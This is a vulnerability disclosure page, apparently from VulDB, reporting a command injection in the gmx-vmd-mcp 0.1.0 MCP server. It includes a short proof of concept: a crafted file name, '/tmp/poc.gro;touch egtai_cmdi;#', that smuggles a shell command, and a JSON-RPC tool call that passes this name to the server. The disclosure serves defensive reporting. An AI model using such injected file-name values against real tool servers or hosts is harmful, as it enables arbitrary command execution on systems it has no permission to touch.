| 标题 | egtai gmx-vmd-mcp 0.1.0 Command Injection |
|---|
| 描述 | The MCP tool named 启动VMD图形界面 accepts caller-controlled structure_file and trajectory_file paths, converts them to absolute paths, interpolates them into a shell command string, and executes that string with os.system(). A path containing shell metacharacters therefore changes command structure and leads to arbitrary host command execution.
This PoC uses a real crafted filename that passes the repository's own existence check.
Prepare files on the host:
touch '/tmp/legit.xtc'
touch '/tmp/poc.gro;touch egtai_cmdi;#'
Invoke the MCP tool:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "启动VMD图形界面",
"arguments": {
"structure_file": "/tmp/poc.gro;touch egtai_cmdi;#",
"trajectory_file": "/tmp/legit.xtc"
}
}
}
|
|---|
| 来源 | ⚠️ https://github.com/egtai/gmx-vmd-mcp/issues/2 |
|---|
| 用户 | SmallW (UID 97245) |
|---|
| 提交 | 2026-04-10 15時09分 (2 月前) |
|---|
| 管理 | 2026-04-27 17時18分 (17 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 359815 [egtai gmx-vmd-mcp 直到 0.1.0 VMD Launch mcp_server.py launch_vmd_gui_tool structure_file/trajectory_file 权限提升] |
|---|
| 积分 | 20 |
|---|